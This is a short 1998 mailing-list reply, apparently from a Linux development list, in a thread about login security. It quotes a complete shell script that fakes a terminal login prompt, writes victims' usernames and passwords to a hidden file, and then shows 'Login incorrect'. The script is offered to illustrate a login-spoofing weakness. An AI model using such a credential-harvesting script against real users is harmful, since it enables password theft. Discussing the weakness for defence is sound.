1998-12-14 12:52:25

by jens

[permalink] [raw]
Subject: Re: Linux login security approaches

On Sat, Dec 12, 1998 at 06:13:05AM +0100, [email protected] wrote:

>> What about just starting (as evil_user, who has an account) the following,
>> hiding behind a corner, and wait for another user?
>>
>> #!/bin/sh
>> #
>> echo -n "`uname -n` login: "
>> read LOGIN
>> echo -n "Password: "
>> read PW
>> echo $LOGIN $PW >> ~/sneaked_passwords.txt
>> chmod 0600 ~/sneaked_passwords.txt
>> echo "Login incorrect"
>> sleep 1
>> logout
>>
>> (of course, this has to be a text terminal)
>
> A shell script like that was included with ``UNIX Programmers Workbench'',
> volume 2, as delivered with Edition 7 ...

I'll have a look into this book in our library if they have it, thanks. :)


--
_ciao, Jens_______________________________ http://www.pinguin.conetix.de
cat /dev/boiler/water | tea | sieve > /cup
mount -t hdev /dev/human/mouth01 /mouth ; cat /cup >/mouth/gulp